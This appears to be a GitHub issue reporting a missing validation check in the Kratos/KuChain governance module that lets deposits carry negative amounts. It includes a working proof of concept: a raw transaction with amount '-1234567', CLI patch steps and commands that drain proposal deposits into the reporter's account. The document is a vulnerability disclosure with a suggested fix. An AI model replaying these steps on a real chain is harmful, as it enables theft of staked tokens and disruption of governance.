Amount of Deposit can be negative in gov module #14
Description
Describe The Bug
there is missing sanity check of Deposit msg in gov module.
governance could be disrupted
token of proposals could be stolen
Code Snippets
so Kratos has implement a ValidateBasic function to Check sanity of Deposit msg, but it's not called on the server side
what we expected is ensure msg.Amount can not be Negatived
func (msg MsgDeposit) ValidateBasic() error {
if msg.Depositor.Empty() {
return sdkerrors.Wrap(sdkerrors.ErrInvalidAddress, msg.Depositor.String())
}
if !msg.Amount.IsValid() {
return sdkerrors.Wrap(sdkerrors.ErrInvalidCoins, msg.Amount.String())
}
if msg.Amount.IsAnyNegative() {
return sdkerrors.Wrap(sdkerrors.ErrInvalidCoins, msg.Amount.String())
}
return nil
}what we implemented, is a basic check of Transactions which merely ensure the length of signatures equal to signers'
func (tx StdTx) ValidateBasic() error {
stdSigs := tx.GetSignatures()
if tx.Fee.Gas > maxGasWanted {
return errors.Wrapf(ErrGasOverflow, "%d > %d", tx.Fee.Gas, maxGasWanted)
}
if tx.Fee.Amount.IsAnyNegative() {
return errors.Wrapf(ErrInsufficientFee, "%s amount provided", tx.Fee.Amount)
}
if len(stdSigs) == 0 {
return ErrNoSignatures
}
if len(stdSigs) != len(tx.GetSigners()) {
return ErrUnauthorized
}
return nil
}
there is no check of msg.Amount.
thus, malicious transaction with a negatived Amount can be preformed normally.
Input/Output
- input: command line like this
{"chain_id":"testing","account_number":"0","sequence":"10","fee":{"amount":[{"denom":"kratos/kts","amount":"2000"}],"gas":"200000","payer":"kratos"},"msg":[{"type":"kuchain/kuMsgDeposit","value":{"KuMsg":{"auth":["kts1w6lahmwtrn62r23an5uw3cx0glf3nv57w7m3c6"],"from":"kratos","to":"kugov","amount":[{"denom":"kratos/kts","amount":"-1234567"}],"router":"kugov","action":"deposit","data":"M5usx9EIARITChEBAQYtIFQ9MAAAAAAAAAAAABoWCgprcmF0b3Mva3RzEggtMTIzNDU2Nw=="}}}],"memo":""}
- output: a normal response like this
height: 0
txhash: 7E4F80826A9AD20762D680CABF1DE2F11B28AB2F2FB7A92939E0B4E730759CAC
codespace: ""
code: 0
data: ""
rawlog: '[]'
logs: []
info: ""
gaswanted: 0
gasused: 0
tx: null
timestamp: ""
To Reproduce
- found this in x/gov/client/cli:
// Get amount of coins
amount, err := sdk.ParseCoins(args[2])
add amount[0].Amount = sdk.NewInt(-1234567) after that.
and save the file
2. ReMake ktscli in kratos root directory
3. run command line like this:
./build/ktscli tx kugov deposit kratos 1 "10000kratos/kts" --keyring-backend test --chain-id testing --home ./testing/cli/ --from kratos
cause of the remake, Amount of deposit in command line can be set with Arbitrary number.
4. check the Amount of Proposals
run command line like ./build/ktscli query kugov proposals
and you would get this
ヽ(✿ﾟ▽ﾟ)ノ
deposit of the Proposal which id equal to 1 is negatived! governance disrupted!
- And finally, check your asset
./build/ktscli query asset coins kratos
Nice! Tokens used to belong to the Proposals is now yours.
Expected Behavior
Proposals deposit could not withdraw.
Above all, Kratos need call msg.ValidateBasic at the right place.(maybe in anteHandler )
Desktop
- OS: MACOS catalina 10.15.6
Additional Context
Quietly tell you , no ValidateBasic was called securely.
u need a overhaul
눈v눈
(Set Your Heart at Rest, I will issue other vulnerabilities as well. you could fix them easily
Contact Information
[email protected]